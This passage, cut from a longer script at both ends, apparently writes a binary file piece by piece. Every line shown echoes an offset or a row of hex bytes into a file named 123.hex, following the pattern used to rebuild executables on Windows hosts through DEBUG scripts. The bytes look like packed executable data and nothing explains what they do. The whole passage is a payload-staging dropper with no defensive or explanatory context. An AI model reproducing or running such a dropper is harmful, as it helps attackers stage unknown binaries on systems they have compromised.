2b80 >>123.hex echo c6 b3 29 17 f0 6e 78 8b 0f 3b c2 0d 3f 85 97 fa 75 8d 9f a0 72 3a 55 11 88 11 ed b7 6d b8 85 73 54 37 1f af 2b 1f 37 98 48 b0 71 29 7e 8d 57 b4 47 dd c2 a5 6e db 17 24 7f 02 80 8b 28 41 08 4c 41 0b 91 b6 bd c2 5d 76 80 01 6d 5b 2a 30 28 f0 1a 16 40 b7 17 4a dc d5 73 75 8a c6 b6 3c 80 7e 94 8d 46 c4 7f 7f d0 01 b9 57 07 40 41 27 f9 3b ca 73 39 00 5e 08 30 43 d4 09 89 4f 5f 03 fc 5f >>123.hex echo e 2c00 >>123.hex echo d6 8b cd eb 19 2b d9 3b da 0f 82 08 8b 95 f0 85 37 de 42 45 25 e1 c0 8d 2c 16 19 cd 5c 83 7f a1 3b e8 72 aa 52 62 b0 0b ef 96 d8 a9 09 2b bc 07 41 eb 79 8d 4f 43 0f 52 4b b0 f0 eb 6b 8d 6f 59 f5 15 7e d7 c8 d8 c2 b0 34 87 71 8a 23 60 c0 7e 47 1e 79 72 4c 71 3b 02 9b 10 37 3c 72 bd 9a 6f ad 21 08 5b b6 2f 11 0f 88 20 08 11 10 da 14 80 59 0f c3 5e 00 09 61 7f a5 a3 be 64 e8 f7 10 83 >>123.hex echo e 2c80 >>123.hex echo 5f 8b d5 2b d7 66 5e 00 68 b8 c1 fa 0c 30 20 7c 4c d1 18 ff 1b 86 2e a7 17 94 87 f2 3b f3 76 1b 88 1f 8b 01 60 21 08 c6 2b f3 6b 30 01 06 db 36 2c 15 8a 70 e1 3b b5 c0 8d ed b1 97 ca 77 63 80 3e e2 73 0c a7 6d a9 12 04 89 42 09 72 00 1a 17 de ba 4e 3e 45 1d f8 77 34 03 76 30 9b 28 d5 60 10 0d 19 df 4a e0 1b 00 05 ab dd 09 8a 54 08 c2 5b e3 0d 7b d2 74 f7 97 d3 0d 8d 45 e6 b7 9e b6 >>123.hex echo e 2d00 >>123.hex echo c9 45 37 8b 56 f3 ad 03 ce 38 b0 60 d9 89 08 76 df 4c 11 4b bd b3 f4 14 d8 1f d0 81 81 59 8c 95 06 15 16 02 11 23 66 4f 97 85 5c 9d 55 69 bc 33 50 a2 3e 5b 5b 8a 38 ff 74 0b 70 6c bf c4 36 f4 81 5e 0d cc 0b 41 89 06 7b a1 ee 46 77 a9 0c 15 75 22 04 bd 50 6b f5 02 22 1d 75 18 bd 5c b0 06 c3 5c 56 17 69 22 a2 3d e2 7b c7 46 18 20 89 a1 3f a4 e8 dd 39 93 0e 0d 02 11 13 3c af ba 03 2d >>123.hex echo e 2d80 >>123.hex echo 8f 3b 34 cd 91 62 eb 14 46 6d 3d 60 77 ec bb 73 0d 5e 80 e4 ee 4f 00 3b c7 06 08 d9 0e f1 b6 0f 08 06 0c 33 48 81 20 c5 65 c5 09 50 94 b0 e0 a8 56 0b 9f fd d1 04 9c 11 97 64 ae c9 0a bf 8b 28 3e 38 8a 1f 47 84 db 88 f3 e0 16 66 2d 4c 17 14 28 55 1c c1 db 00 98 eb 08 05 5f 7b a9 61 a0 1c 0c a1 0f 8c 0c 1b 5f aa de be 80 fb 20 7c 13 04 78 7f 0e fa 8a 80 f0 af df da 46 03 1e e0 ee 02 >>123.hex echo e 2e00 >>123.hex echo c7 0f 84 c1 10 b0 6b 14 c0 01 ab ea 9a 35 5f c4 bb 7e 3c 0f 87 bd 07 a7 24 85 1c 5f 98 44 a0 e9 1c 04 2d 03 28 24 ba 13 86 a6 73 c7 d9 96 0b 2c 8b 05 dc 06 a0 4e d6 53 23 e0 e7 3d bb 28 f7 87 82 3a 5b 54 5f 3c d8 2b 7a c0 06 12 0c 34 2c 0b b9 90 b1 0e 01 02 b8 25 b9 90 80 08 c1 2a 75 3c 4f b8 17 56 94 24 68 f4 b2 50 89 bb 6e eb 40 32 fc 07 7a 8b 9e 83 ca 06 7b af 15 bf a7 18 9f cb >>123.hex echo e 2e80 >>123.hex echo 0b f6 05 96 65 b6 02 41 d0 89 54 12 08 40 46 9e ac 18 52 29 8d 84 50 b0 61 86 67 18 b4 b3 ed 8f c0 4b a5 ed 18 4d d3 3a ae 44 4a d0 65 19 84 49 76 00 b7 2e 76 c8 c9 c9 81 06 7c 68 10 c4 e0 95 f8 5f 3f 36 75 20 80 7f 01 34 ba 19 64 41 78 21 dc 80 cc 80 c9 24 44 37 c2 bb 9f 3c a1 18 f2 80 2c d5 40 2d b4 f8 23 cb f6 44 50 01 80 74 56 02 60 63 40 ce d1 2d 8d 0b 7a ea 50 2c 58 13 8d 2c >>123.hex echo e 2f00 >>123.hex echo 16 58 47 49 22 84 4b 70 0b 20 57 20 66 8c 2d a1 25 84 67 cf bd e4 e4 e4 b2 35 97 04 f0 ac 83 15 70 1c a9 30 55 04 34 f7 69 40 d8 75 03 10 10 74 39 9c 51 61 04 fc 96 e0 50 5e 60 7b 69 6c 50 6c 5f c8 fd 9a ed 7d 2e 8d ce 5c 6b 10 2f c2 69 d9 93 72 db 21 8c bd 4d bc 8d 8c 38 51 82 88 20 5c 84 65 ef 55 4c 2d 25 a8 8c 04 35 85 7d 3a 32 33 78 f0 5b 3c fa f6 4a 74 16 0f bf 28 96 5c ec e7 >>123.hex echo e 2f80 >>123.hex echo 20 9d 3f d1 ed 39 15 8d 82 8d f4 11 8c 4c 4d 9c 24 e2 49 c4 f8 f1 4d 89 7c 1b 3c a4 6c f6 8b e9 1a e3 fa be 7b 60 02 47 f7 c2 a9 b0 7c 23 c5 03 8b c8 06 04 5b a9 2d a2 45 23 0a 3a 8d e9 46 c3 7e ec fc f1 40 70 8b d6 4e 85 d2 93 0c f6 0e 1a d4 74 62 3e 0a 83 c0 02 19 ce 62 85 3f 75 f0 2b c1 d1 f8 22 7c 39 f8 ec 07 dd 40 31 0d 6f 08 40 2e b1 57 c2 e5 f3 8b e8 12 8a 4c 85 08 5d f0 46 >>123.hex echo e 3000 >>123.hex echo 8b 20 74 15 a6 1c 67 2f 3b 2b 70 66 84 d7 54 13 89 10 70 f8 e9 62 12 0e 44 80 c3 20 43 5e 72 6e c1 b0 6f 44 76 ef 4a 40 85 c0 35 fa 3a 7d 7d 0a 06 c1 eb e5 d9 30 02 be 88 fb 67 75 08 f5 7f 60 0d b9 a2 30 28 89 0d 73 86 12 ee 48 f8 ba 12 19 5d 41 b7 a1 90 a9 50 83 33 cb 64 51 60 c4 0a f8 6a 58 52 35 f6 9c 01 1f b8 00 f8 81 e6 d5 74 12 70 86 e8 30 c5 b1 5c 2c 1d 55 9a cd 1d 42 6a 16 >>123.hex echo e 3080 >>123.hex echo f6 54 8c 6f c1 1c d1 16 6d 5c 2d 75 13 b7 15 b1 2e d6 4c 55 5d b6 02 c2 10 ca 50 40 cd 00 ec 1a 0a cd 0a 65 0c 40 0e bc 87 7d ce 69 0f eb 5f c9 95 37 80 ef ed 07 38 07 11 db 38 b2 00 8a 61 8b dc 60 37 10 0b c0 35 5e e8 22 f8 b6 38 c6 0f 22 30 80 c1 fd 24 39 ec ad 81 9e 88 13 23 eb 1b 29 08 0b 88 35 3b 0b 99 d7 cd 0b 06 d2 b6 f6 c7 13 12 1b 15 8d ad 51 b8 eb 62 f6 72 b8 04 40 b4 ba >>123.hex echo e 3100 >>123.hex echo db 48 08 c5 ab c0 1e 99 eb 42 6f 3b c4 48 14 af 17 2a 32 24 6d 23 81 13 07 17 12 1e f4 c6 d7 60 00 29 1e 2f 7f 1a 7c f8 0b 17 d8 2b 73 14 18 83 d2 74 f0 f7 da 80 cf 01 dd 43 5d a3 10 99 eb 3d fa 9f 75 58 bc 75 e8 03 83 e7 39 f8 c9 7d 07 e3 e1 c6 7b 8b ce 83 e3 f7 23 72 0b d7 f0 cc ea 5e 11 a0 64 5b aa c4 17 8e 2a 6c b4 6e 7f 8d 86 52 bc 2c ce 0b cf d7 02 99 98 bb 63 d7 f0 52 55 57 >>123.hex echo e 3180 >>123.hex echo 56 f4 68 87 6a 5c 54 58 8b d8 12 1a 7d ff fa 83 c3 30 09 ec 83 fb 39 74 7e 22 3e c0 ee dd 5c 38 8b 47 42 88 18 c6 eb ab 1b c7 5a a7 d5 67 63 2b e8 24 c5 28 36 0a 0f 44 14 3d fd 30 6c f5 6e 61 99 73 48 45 10 6c 30 82 26 c0 10 b8 d7 0e a5 0a ee e0 0a 64 eb 1a 5f 60 ed 87 52 32 a3 2d eb 16 10 0b 20 be d2 f2 2b eb 0a 02 41 0b 20 07 25 1c c1 b6 29 29 d2 d0 c0 56 6a 2b fa fd 1d 0c 8d b4 >>123.hex echo e 3200 >>123.hex echo 2e 05 26 26 32 39 4d 6a 20 b0 85 42 1c 45 22 22 07 19 02 dd 07 5e 2d 50 51 56 23 2a 52 6a 73 35 77 bc 20 3d 76 04 04 e9 90 6d d6 64 1d 3b 30 8b f1 e2 4d f1 85 b5 96 df ed 0f 8e 8e 77 2c 7d 2c ba 14 8d 5d ff 9f 06 d4 48 50 52 f8 44 44 e0 83 c6 02 20 fa 7e 22 ac 33 10 10 b9 b6 69 54 68 b0 cf ba 9e 8b cb 4b 1b c6 ec 04 74 18 2a 11 2c 02 96 b1 2f 45 0b 38 65 27 85 de c1 7c 11 a1 e0 19 >>123.hex echo e 3280 >>123.hex echo e7 5e c3 c9 6e 28 38 7f a3 52 56 55 67 16 b0 01 f0 eb a1 a0 58 57 57 7f bb ae 69 ba 03 b2 fc 05 13 4a 03 1a 59 a6 e9 3a 43 32 0f 94 03 76 67 cf be 04 9b a3 da 5e c3 05 05 01 05 00 02 05 74 dd 85 b6 03 04 04 25 ff 77 33 fb 03 68 9b c8 06 db 0a 59 27 04 00 01 03 9e ed be ac 02 0e 03 90 38 37 07 5b 03 1c 5a ae 2b 01 5c 10 5c 23 13 4a 03 d7 74 67 bb ea 13 12 5b 07 c6 1b 4c 08 03 be db >>123.hex echo e 3300 >>123.hex echo 75 5d 2e 0b fe 13 1a 0b c0 5d 73 10 01 10 02 10 c0 b0 bf cb 00 03 04 04 10 05 0f 02 78 b7 12 3d 00 10 09 0a 84 d4 f2 56 44 04 0d 10 0e 0f 7f 5b a3 54 a1 5e 4b a6 03 78 52 ed 43 1b b2 11 fe 88 02 07 f3 05 8b 7e 3f 42 89 11 eb 0e 11 51 50 ed aa 40 0d 13 bf 39 a9 12 aa 23 54 76 ed ff 00 7f 1b d1 27 15 cb 8b c5 4d 41 7e 1a 4c 3d a0 25 ba cf dd 14 88 46 24 36 42 53 af 22 7a db 1c 98 31 >>123.hex echo e 3380 >>123.hex echo 70 48 cd 25 c9 7f e7 73 17 36 90 44 3f 29 3b 3f b7 05 1c 66 5c 5e 6d 06 41 50 46 58 70 21 67 43 07 e3 cf 6b b0 b9 60 6f a6 c1 b4 d6 64 21 bb 41 4d 40 fc 9e 1f 05 f6 06 cd 08 41 9b 51 fc c3 1f 8f be b2 b1 3f 66 40 83 ec 48 bc 92 20 0e 00 a5 88 41 a0 5d 54 08 6a 1b 19 44 6f a2 df 8d 86 1d 89 35 9f 3b f0 c7 05 08 53 df d0 bd 20 4f b3 0a 73 20 c6 7c d7 05 ef c7 00 88 5e 05 8b 0d 22 2b >>123.hex echo e 3400 >>123.hex echo c1 31 60 80 d8 aa cd e0 0b 53 5b 13 75 12 78 ae 83 fc 46 07 df d3 48 50 f2 42 48 72 e6 0b 08 48 34 5a c0 8d 78 3e 0e f5 01 ef eb ad 56 2c 0f 7c c7 10 10 b9 1f 8b 5e a8 2e c8 7d 69 be 24 5e e1 ec 2c 96 aa 5b 49 1f 89 85 04 22 b6 44 50 89 0a 32 57 8a 4a 50 f6 ae 9d 6c 07 cb 48 00 58 16 fb 81 c2 1b 77 d5 eb 7d c2 72 e4 a1 2a c7 fc c1 7c a8 00 63 31 d8 eb 0a 48 4c 47 10 f5 85 6d 7b b8 >>123.hex echo e 3480 >>123.hex echo 5c 4d cf f9 96 34 8a 07 a8 3e 50 07 bf a7 2e a8 08 75 0b f7 74 39 74 1f e0 2d fa 05 73 8b c6 c1 fa 05 c0 8b 0c 95 fe 46 b7 2f e4 55 3e 14 c1 c7 c1 8a 0f 88 48 04 17 c0 6f ff 45 46 47 83 c5 5e f0 7c b7 8b 2d a6 f8 b1 8d 08 b9 15 28 04 da 8d 34 da 5a 08 1a fe 7d 54 85 db 43 81 af f6 9b a1 6e 8e 43 84 c3 48 55 aa f5 0b b4 5d 10 0b f8 83 13 2f 57 5d 74 8c 65 72 c8 89 3e 9d 07 bd 51 4b >>123.hex echo e 3500 >>123.hex echo b4 8a 37 28 eb 83 03 75 16 fb 9d 95 ea 0b 43 12 05 06 80 88 04 4d c4 5e 60 43 c5 03 7c 8d e9 cc 70 aa ae e0 15 63 fb 48 23 38 46 40 df 8b af 74 f3 b8 51 82 f8 57 77 11 0e 2f c6 0f fe 8a 5a 23 bb 47 d3 8b 1d 44 c1 4d c1 89 5c 12 42 3b 35 f8 83 ba 1d d8 77 28 f8 e8 6a 40 ec 8b 58 a0 ae 0f 14 d2 e9 ce 26 e9 3a 23 04 34 33 5f cd 88 41 0a 1a 06 2d 9c 08 77 0a ba 8e 31 d0 11 1b 95 ce 12 >>123.hex echo e 3580 >>123.hex echo 0c 48 41 12 4c 9d 55 9d 30 82 0f 8b c2 5b c3 cf 57 be fc ad 02 17 a2 d5 c6 7e 51 53 b3 83 f0 fd 80 05 4d 84 58 0c 74 0f 88 6a b5 2f 0c 16 45 01 72 fe 14 7c 1e 75 23 78 82 8e 25 14 b1 94 ec be 80 07 d5 06 c7 36 51 b5 a4 fa b0 4d 5b 8b c7 20 22 d4 5d ee 04 8b 0d 0d 74 ff ce 80 06 6e 29 92 78 0a 03 9f 68 41 8f b0 ea ea 6b 5c ea d1 0f 11 c5 75 06 b8 6e dc c2 04 6a 89 fe 4f 2d 00 db 10 >>123.hex echo e 3600 >>123.hex echo 2f 74 1b 55 03 57 9e 63 f6 7c 22 41 83 0b 38 49 e2 ff 50 4c d8 71 d2 0e 00 a0 3e 56 71 f8 c9 7e ed 43 91 74 2f 32 23 56 57 25 25 9a a2 75 40 1a 09 8f 6e a1 8c 54 39 82 43 4d d9 b0 05 13 0a 22 29 c0 74 40 aa 84 87 5f 73 3f 0a d2 14 74 f2 d0 85 e2 c0 c3 05 b6 9b d1 b7 74 27 2f 73 45 8c 8d 53 e9 15 6c 59 56 10 21 a2 3a 93 e9 aa 13 74 21 98 a3 d4 c9 4e 1f b2 4b bd c3 5f 81 ec 1c 04 65 >>123.hex echo e 3680 >>123.hex echo 20 05 6f bc 3e 2d 91 01 00 f3 a6 1e 3b 36 14 6d 8d 3c 06 c1 e6 03 ba 55 0b b9 a0 24 c1 9c 16 55 8b 6f c9 60 f8 61 2f 9c 59 51 f7 50 f0 b9 ed 04 10 03 20 be 06 11 a2 b7 90 f7 5c c3 01 c6 e0 a7 23 0c 6a 02 f4 74 18 1a 35 ba 80 27 03 c6 5d 5a 04 b8 c5 d9 40 51 81 34 04 fd f5 a5 07 44 55 5c fd 0f 86 83 00 fe 8d 58 2f a1 cf 2b cd 3b cb 73 28 b7 38 d0 de 41 80 f9 0a 58 ba 90 0d 46 df 44 >>123.hex echo e 3700 >>123.hex echo 53 dd 40 89 08 88 a3 d0 92 28 2b d1 81 fa 0d 70 f5 41 65 d0 2d 78 05 f1 e2 17 58 2b f2 44 d6 54 b7 88 e3 c0 02 56 8c 24 d2 70 46 44 d7 01 c7 dc 65 c4 e8 a6 82 40 6c 77 03 d0 3b f0 37 5a 8f e6 b5 49 2b c5 3b c3 72 81 44 83 e9 04 9c fc 56 6d 12 de 38 06 62 74 39 99 05 75 1d 55 8f 11 02 b6 ec 94 bc c4 42 61 2c 61 16 7c 11 b8 38 48 28 b1 a3 4f 80 7d 29 23 ac fd d1 59 4e 1c 0b 19 2b 44 >>123.hex echo e 3780 >>123.hex echo da 1a 66 df ee a5 69 14 c7 05 7c 00 76 4f 82 09 c3 21 f4 23 56 b1 d2 c1 f0 c5 8b 10 a6 55 57 98 6a 84 d7 2a d9 55 f2 aa ee 69 2e ec 19 30 84 56 b5 3f b5 0f d5 b3 00 3f 57 55 f0 c8 23 a2 d1 80 67 8e 58 cd 8d 08 46 b5 ac 5d 7a 46 1c e2 55 89 f7 9b a5 a8 e1 50 b0 51 c0 44 cd fe 07 0a f7 74 02 b8 e4 c3 3e 4f 54 8f 60 f7 6a fe 68 d0 40 64 ff 67 c4 b6 84 9b f1 19 3f 58 2f 70 85 4b b1 b4 >>123.hex echo e 3800 >>123.hex echo 2c fe 31 2e c3 24 74 b3 5b c2 c0 c6 34 76 de b3 b7 04 48 17 0a 5a b5 52 d1 ba 8e 7e fb b7 1d fc 2d b3 7d 58 82 ff 54 08 eb c3 64 8f 05 82 2b 18 ab 35 0c d5 44 d8 a0 f7 f7 64 8b 0d 0f 81 79 04 68 66 51 6f 33 82 df 5f 52 0c 39 51 08 fe 8a 51 bb 08 08 56 a0 04 de 94 08 fd a5 b6 35 0c 61 4b 02 89 89 6b 0c 59 5b c2 8b 64 b0 aa 67 9f 88 65 02 98 55 5b eb 34 28 0c 52 d3 e4 ad 2d b7 04 2d >>123.hex echo e 3880 >>123.hex echo 0a 3b 9b b9 3d 97 99 6a 89 0d 54 94 df c1 f9 c0 2d 90 aa 98 ef 70 1b df 26 29 af 46 ab 6e 10 a8 82 8a 0a ba 8a 8d 76 4f a8 40 36 02 26 db 82 30 d1 0e a5 15 a8 b1 88 6f 04 44 2a f1 24 fe 89 0e ee 14 ef 1e bc 0c 15 24 ef 0c 02 6f 11 4f 8a 23 c5 75 26 a2 74 08 9e 0d 55 9e 82 25 54 49 d7 74 1f 44 eb 22 b0 f7 2a 3e 6c 97 e8 7f 3b 51 18 2b f8 8d 50 01 49 3b fb cc 4e 04 aa 36 a8 f7 7e 18 >>123.hex echo e 3900 >>123.hex echo 57 50 37 1c 56 5d c8 60 d8 eb 8a a0 60 73 eb 53 5b ad a0 05 44 02 ea c5 06 26 12 12 22 1c 57 72 24 93 e1 b8 00 4d c7 dd 53 55 57 74 5d 4b 41 3f 14 3c 16 29 8b 98 6d 8e 8c e9 51 5d f6 18 96 db fd 3b df 74 10 c8 0c 20 be fe db 82 15 1f 94 25 ff bb 1a 5f 1b 7a 7a 3d 9a 09 e3 b1 bb 08 46 f0 89 b7 0a 41 01 3d f7 77 15 ad c5 27 2e 74 c0 0a 04 4a fc 23 c1 b1 5d 78 1d 3d 35 14 7d c1 f8 c1 >>123.hex echo e 3980 >>123.hex echo d0 1c b4 32 08 c4 56 8a 0e a0 f1 55 03 3c 94 0e b0 a3 e9 1a 39 4a 41 0f 0c 0d c0 5d 5b c1 3b 6a a5 c6 51 3d 18 16 88 91 a8 50 28 75 8e 18 c0 18 f5 1a 43 03 5b 30 10 11 92 a8 7d 16 5e 6e af f8 fb d1 ee fd 1e 0b c8 85 75 09 2e f7 e1 c2 6d bf d6 96 77 53 05 ef 1d f7 64 df 03 02 f6 97 98 09 50 d3 5b c2 10 00 cc 00 c6 85 07 81 7f 0c a8 83 f1 d5 00 0a 16 96 f0 77 cd 07 02 74 0b 27 17 01 >>123.hex echo e 3a00 >>123.hex echo 28 24 61 12 f6 0b d9 88 f1 a1 10 89 e5 d2 bb 46 10 a8 1d a8 18 81 51 28 db df 9e 78 5b 6e 4f 69 1c 0c f6 c2 82 75 32 27 10 65 e1 ad 43 0b da f9 c1 ff d1 e1 28 04 9c c0 3c bd e5 cf 00 5b 81 0b 7c d1 8a 4f 99 e1 82 6d 2b 06 6b d8 d8 da 80 ce 7b 36 81 1d 00 34 75 32 a1 85 25 62 4e f3 08 ed f6 0c ee 13 a8 45 b7 bf 48 33 d2 65 5b 22 f7 52 3d 8a 10 40 83 53 c3 25 1b a1 59 84 60 02 e0 6e >>123.hex echo e 3a80 >>123.hex echo 00 a5 86 61 c0 18 64 af 53 ae 6a 08 d7 0f 40 6e 00 2d 78 2c 81 eb 6c 06 88 fb 46 0d c4 d3 0d 7d 8c bd c6 fb b3 0f 05 0c 63 c0 8f b1 36 3c 4f e3 50 fb 16 f5 34 bd b4 f8 48 f1 f6 c3 03 93 83 8d 4f bd 4b 02 7e 01 6f 78 dc 85 db 06 97 be 09 a2 2c 0d 8d 0c c3 8d 43 6b d1 03 09 ba b7 85 d6 fe 02 0c 8a 03 c1 39 44 30 47 6f 62 bb 8d 14 40 27 d1 41 e2 04 2b d0 b1 2d da 4b b6 0d 90 4c 4f 1f >>123.hex echo e 3b00 >>123.hex echo 9e fb 9b 6a c4 c8 f7 00 d4 8d ac 02 80 81 55 7c 17 7e a8 09 a0 50 1d 1f da 20 a1 cc 7e 61 d8 e0 1d 46 17 8d e1 35 7b ac 44 ed 3e 89 3f 03 2d d0 1a 8b c5 91 a8 19 83 fc 5f b1 f3 3d 98 46 52 bf f3 97 5e 02 af 85 19 f0 e6 17 da 04 28 1c 36 aa 8e 84 d3 02 16 43 e0 37 59 10 c7 40 08 00 53 1c 4e 87 85 22 5c 07 35 21 bc 47 b0 23 a0 2d 58 84 05 87 8d 85 52 8c c7 08 26 b5 29 2f b8 8e e8 35 >>123.hex echo e 3b80 >>123.hex echo a8 f4 43 ac 05 01 3b f2 7d ea 75 b7 6f f5 0c 76 2b d6 04 8d 38 11 c7 4e 89 0a 14 37 fb 0c 4a bd b8 2d 54 82 6e b4 13 3d 1e e6 f1 d3 b9 3f b1 5d b9 69 eb 52 3d 90 0f 0d 81 73 f2 73 f2 44 3d 91 84 36 3d 93 85 73 f2 73 f2 28 3d 8d 82 1a 3d 8f 86 68 ec e1 f3 0c 3d 92 0b b9 c3 89 67 51 af 29 6a d4 2f 2e c4 35 0d 2f d8 60 b1 89 bf d0 51 ed 1f c4 b3 9a b0 04 19 8b 6e 88 22 10 06 22 58 f9 >>123.hex echo e 3c00 >>123.hex echo cf bc bb ad 2b 3e 41 56 ea b0 06 3b ca b8 0d 6d 3c e7 0a 25 e7 e5 0b 65 0c 3c 5b f6 0d 2c 04 39 10 75 f5 14 11 74 02 c5 ad 85 54 60 4f 15 38 41 f1 b7 0f f1 56 8a 1a f6 84 c0 57 74 1d 0a 58 45 a3 e2 55 11 db d6 2a d0 c3 93 0d 03 84 d0 e3 80 00 1f 1b 32 b5 d0 50 5b e0 08 1e aa be 35 22 7d 85 20 0b 65 09 a1 58 8a a4 78 a1 5a 41 aa 63 8b fd 1f 0f a1 6e bf d9 43 80 fa 63 45 53 11 06 85 >>123.hex echo e 3c80 >>123.hex echo 9c 18 96 b0 c0 39 2c 37 59 d4 61 04 a2 38 d1 1f 71 21 22 fb f3 a4 e6 f0 7c 37 6a e1 8a 54 1d e7 eb 16 9d a1 6e 50 72 8b 60 55 63 1d 38 fd 88 55 11 6a 03 62 a8 1a f0 2a 6f 1d a0 a1 c2 ed 0a 68 60 20 d2 8c b7 99 82 86 df 3d 03 34 08 13 a0 b7 51 3f 17 80 3f 93 bf 09 7d f4 e2 93 b6 08 50 51 03 bb 60 47 e4 22 0e 25 b5 3e 76 61 c0 05 5d 82 51 67 08 c7 58 57 85 4b 36 60 52 43 9c 05 5b e0 >>123.hex echo e 3d00 >>123.hex echo 14 8e 4d 56 3f 3b 48 a8 bb 29 28 34 4c 5f a3 ec 05 5e 05 09 5e 24 c9 f2 63 f6 a7 a8 54 1d f2 85 ed c7 07 c9 c3 07 a7 22 07 1f bb 83 00 b9 25 80 02 75 fb 2a 54 85 77 72 80 38 22 75 c0 92 2b 58 20 de ab 22 74 38 04 34 2f 0d 37 04 1f 84 99 71 fe 98 8b 17 42 a6 17 1d d6 e8 4b a7 8a 08 88 0e 31 0e 05 3a ec 60 6f aa 88 16 46 37 75 c8 16 04 ac c1 98 2b e9 52 40 f5 2b a3 0e b6 b7 3a 04 40 >>123.hex echo e 3d80 >>123.hex echo 2e 24 4f d9 c2 9e c1 57 84 9a 61 52 d5 5b d7 ba 4f 20 9e 87 09 08 09 75 bc db 0c d4 1b 28 03 48 eb 44 5a 46 35 a9 41 ce 40 27 3f 59 ef b6 7d df 6e 03 d1 8a 08 2d 05 29 03 70 f1 17 44 c0 1e 31 eb ba e1 12 dd e2 1d 3f ff 01 8a 18 5c 80 fb a3 be dd 76 21 69 8a 58 b8 41 0e 74 f6 ac 25 77 d7 8a a6 87 75 76 73 78 01 22 4a 6a ae 88 8d d0 ed 2b 6e 09 da f8 ed 59 94 c2 73 d1 e9 7c 49 0c ea >>123.hex echo e 3e00 >>123.hex echo df 38 76 11 41 8b 06 5c e7 1f 43 49 89 1f 75 f0 e6 5b 80 8f ef 5d cb 0a 8c 54 0c a0 75 dd 74 4f 80 45 27 2a 33 b7 6f 17 da 77 f6 83 eb 04 60 08 8b 0f e3 41 89 0f d8 51 e7 0e 13 0a 09 40 2f 61 3a f6 6b 67 4f 75 f6 81 27 06 1a 24 ff 07 1c e8 0a e5 6c 72 00 2c d0 41 1b b8 af 45 c3 1d 1a 06 69 45 45 78 07 0c a3 00 11 33 08 5b 41 89 b4 ab c2 ed 10 a1 68 4a 61 84 22 d5 26 e8 04 0e 09 3d >>123.hex echo e 3e80 >>123.hex echo 38 89 88 15 9c e2 25 77 c0 70 60 01 06 11 86 d8 44 50 bc 91 38 4f db a3 3c 2b d8 38 7c 80 97 4f 9c 0c a9 d1 a5 e2 01 66 83 3e 33 74 12 7c d8 2e 6a 0e 17 75 f7 08 ee 2b c6 58 0a 1a 6c e9 d1 67 a1 e8 38 4b af f5 f4 1b 05 28 7c 60 41 ec 2a df 3e 57 89 8a 81 8d 74 2f 19 53 26 3d 24 a0 26 90 53 ef db 56 b0 07 88 b7 15 80 3c cb c3 0d 6a 82 19 40 aa fa 68 a1 fd 6c 01 eb 08 be 74 5c 8a 0b >>123.hex echo e 3f00 >>123.hex echo 27 8c 1e ec ac aa 10 62 f8 07 f0 2b c3 e0 3b 03 36 b8 f0 62 e8 79 ed f8 25 5b a9 91 4a 90 8b ce 8b f3 ea 24 88 8d 55 fd fe 53 30 80 67 af fc 21 8b c5 e3 13 82 1e 24 8f c3 81 09 b6 5f 3b 65 7c 5a a1 28 08 41 1d 4d 96 e8 78 28 c1 43 74 21 08 a2 ee 75 5b b0 81 07 6c 66 2c 14 d2 b8 c0 5f 39 28 c4 ed 7f b0 55 f3 5c c0 30 42 3d b0 f5 10 72 ed 27 26 bc 8d 25 55 7f 34 22 41 85 ca 37 2c 10 >>123.hex echo e 3f80 >>123.hex echo af b9 95 a7 70 9a f3 ab aa 44 47 37 51 a5 01 76 71 26 16 68 dd 5d 5b 48 37 2e 17 8a 0a fd 2d 22 7f 7c 81 cf 4c 8a 42 ff ba 77 14 8a 98 53 80 cb 04 0a 40 b7 b1 88 08 40 13 76 ec 24 18 0d 14 08 64 95 cd 00 f8 1b e4 b0 22 08 3d 3e 72 e9 55 c1 53 ef 35 50 d0 dc 0a a3 da 6b 35 30 fb 9f 7a 14 05 af d0 a8 f6 0d c1 8b 92 0f ee c3 cc d8 15 84 05 88 df 39 35 8c 0d 86 50 31 b2 74 f6 6e fe dd >>123.hex echo e 4000 >>123.hex echo 07 d6 0a d2 8d 1c 52 d5 33 ff c1 e3 04 8d ab d0 bd 5b 02 1a 17 8a 95 f5 da 30 8a 4e 01 ed de 4d d2 d7 29 06 d6 11 8a 97 b8 23 08 90 36 e2 f9 87 d3 f5 8a 46 02 83 c6 d0 68 08 b6 23 e0 2d e1 04 72 be 9e 50 a3 c3 63 ee 13 4f 8b 8b c4 e1 93 c8 05 cc 8d 4a 7c 1f bc 83 10 47 0d c3 8b 4b 2c 80 b7 cd c6 9e a3 c7 7b af c0 b2 60 14 4f e6 d1 05 cd 3e 16 09 f8 fe 75 10 0e e4 c2 46 f8 62 25 2c >>123.hex echo e 4080 >>123.hex echo aa fd 14 3c 5d f6 2d 62 fc 4a 80 00 41 00 19 c3 d5 9b ab 83 4f 05 5c de 20 12 77 27 1d b0 7b 76 b4 1c 76 08 06 b8 11 93 b8 16 f0 66 df 04 08 05 12 0b 05 67 a6 e9 0c 8d bb fe 03 f9 ff 4f 36 83 ba 05 2e 00 84 00 02 03 90 45 30 84 8c 57 2f 80 0a 7e b1 f7 8d f9 a3 ef a3 eb e9 8f 6a fd 43 28 9a 02 33 8c 20 01 5f 05 ff 56 43 32 30 58 43 30 30 c7 08 a0 50 01 de ca fc 8b 5d 0c b8 ae c4 03 >>123.hex echo e 4100 >>123.hex echo 6c 3c b4 94 82 be f8 dd 16 0a 5a 0b 98 8d 08 89 43 2e 3a e0 b2 21 73 7b 08 91 61 40 fb 17 68 1b a2 8f b4 09 56 55 8d 6b 10 ff 54 0b 51 f7 42 77 5d 5e 41 0b d1 33 78 3c 25 53 44 b1 2e 08 2e 1d 56 0c e0 42 90 33 06 36 ac 44 8f 75 db 56 31 ae 9b 8f 55 0c 3b 08 7d f8 46 ce 30 1a c6 8f eb a1 b8 80 eb 1c b1 c9 7e 67 bb 15 5c 6a ff 3f 5d 16 ff 44 83 04 64 55 05 29 8b 41 1c 50 bd 01 c9 6e >>123.hex echo e 4180 >>123.hex echo 03 18 50 24 40 a1 40 fd 88 1b a8 63 e2 74 0d f9 83 3d c4 e1 80 1b 14 6c 06 25 68 9f 52 34 e9 47 38 a1 90 cd 43 04 41 18 76 ff 17 21 10 9d 0e dc bf 81 ec a8 31 b4 2e d0 52 23 cb 3b d9 0b 5b 45 3d bd f0 be ab 2e 72 f1 3b 0c ed 1b 2a 9a 01 00 7d 6d 94 92 70 ed cf 00 e7 0d 6b 8a d8 82 74 10 3d ff f9 79 a8 f8 a8 db 0b 6f 01 b4 b4 62 58 7c e1 4d 6d 50 69 8e 9b a0 a1 bb b9 b7 be 6c b3 bb >>123.hex echo e 4200 >>123.hex echo 22 d8 5b b1 bc 22 ad 66 a5 a4 0b 46 87 62 c7 fb 8d 